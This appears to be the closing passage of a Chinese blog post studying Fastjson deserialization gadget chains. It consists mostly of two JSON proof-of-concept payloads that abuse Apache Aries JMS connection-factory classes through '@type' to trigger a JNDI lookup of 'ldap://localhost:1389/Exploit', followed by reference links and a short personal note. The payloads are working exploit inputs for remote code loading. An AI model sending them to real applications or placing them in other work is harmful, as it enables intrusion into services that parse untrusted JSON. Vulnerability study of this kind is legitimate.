org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory类PoC:

1
{"@type":"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}

org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory类PoC:

1
{"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}

参考

终于把基础的链子勉强学完了,可以看其它的了,不过这些还是得时不时看下不然一下就忘了

Fastjson反序列化漏洞(4)—1.2.68版本 – JohnFrod’s Blog
Java反序列化Fastjson篇04-Fastjson1.2.62-1.2.68版本反序列化漏洞 | Drunkbaby’s Blog (drun1baby.top)